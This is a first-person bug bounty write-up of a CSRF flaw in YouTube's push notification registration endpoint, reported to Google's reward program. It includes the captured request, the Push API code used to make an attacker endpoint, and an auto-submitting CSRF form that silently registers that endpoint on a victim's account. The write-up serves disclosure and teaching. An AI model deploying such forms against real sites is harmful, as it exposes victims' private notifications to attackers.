Hi,
So this is my first writeup, I hope you enjoy it!
I was just searching around on YouTube if I could find anything but I was really tired and it was 12:30 in the night. I was poking around and I turned on my notifications on YouTube. This was the request that was going:
POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"
https://updates.push.services.mozilla.com/wpush/v1/gAAA...
-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--
You might guess where I am going with this! At first glance, seeing all those parameters like auth_key, p256dh_key, endpoint, device_id, it seemed like it would be protected with CSRF but actually all those parameters are generated by Firefox for push notifications. So, this meant there was no CSRF on this endpoint.
I felt chills, literal chills .. at this point of time! Did I just find a CSRF vuln in YouTube??
Digging in I found out that the referrer for the HTTP Request was “https://www.youtube.com/sw.js” so it was the service worker which was sending these requests and so this request was different from all the other requests on YouTube which did have CSRF protection.
I was certain that this is a vuln but so have I heard that give PoC or GTFO :P. So it was time to dig in and create a nice PoC for the Google VRP team to reproduce. So I start digging in on how these parameters are generated.
https://developer.mozilla.org/en-US/docs/Web/API/Push_API was a very helpful resource on this.
I wrote these 3 pieces of code and ran it on local server to generate the credentials:
index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>
index.js
const check = () => { if (!('serviceWorker' in navigator)) { throw new Error('No Service Worker support!') } if (!('PushManager' in window)) { throw new Error('No Push API Support!') } } const registerServiceWorker = async () => { const swRegistration = await navigator.serviceWorker.register('sw.js') return swRegistration } const requestNotificationPermission = async () => { const permission = await window.Notification.requestPermission() if (permission !== 'granted') { throw new Error('Permission not granted for Notification') } } const main = async () => { check() const swRegistration = await registerServiceWorker() const permission = await requestNotificationPermission() }
sw.js
self.addEventListener('activate', async () => { console.log("Hello"); self.registration.pushManager.subscribe() .then(function(subscription) { console.log(JSON.stringify(subscription)); }) .catch(function(e) { console.log(e); }); }) self.addEventListener("push", function(event) { if (event.data) { console.log("Push event!! ", event.data.text()); showLocalNotification("Yolo", event.data.text(), self.registration); } else { console.log("Push event but no data"); } }); const showLocalNotification = (title, body, swRegistration) => { const options = { body // here you can add more properties like icon, image, vibrate, etc. }; swRegistration.showNotification(title, options); };
Got the parameters required for the CSRF attack. I would see the notifications of the victim on localhost 😉
Explanation: So basically we are creating our own endpoint for receiving notifications on localhost which we will use later in the CSRF form. When clicking on the button on index.html, it asks for notification permission, and then registers a service worker(sw.js) which then creates endpoints for notifications by using Firefox’s API.
Last step: CSRF form:
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf"> <input type="text" name="device_id" value="replace"> <input type="text" name="permission" value="granted"> <input type="text" name="endpoint" value="replace"> <input type="text" name="p256dh_key" value="replace="> <input type="text" name="auth_key" value="replace"> <input type="submit"> <script type="text/javascript">document.csrf.submit();</script> </form> </html>
I tried submitting this CSRF form from another account and it worked!! Oh my! It really worked. So the PUSH webhook for notifs of victim was set to attacker’s webhook. Now we have to trigger anything on the victim’s side like commenting on private video, and the notification will trigger:
So I reported it and it was accepted in half hour after it was triaged(me so happy, coz am noob, and kinda new to this bug bounty thing)
Some days later, the reward:
Thanks for reading this, I hope you learnt something new! I encourage anyone reading to do more writeups and contribute back to the community. It doesn’t matter how small or big the bug is 🙂 Sharing is caring!
Thanks, until next time!
Yash 🙂
Google VRP Profile: https://bughunter.withgoogle.com/profile/7673ec89-c9e4-438b-a2c4-9047f92bc8f9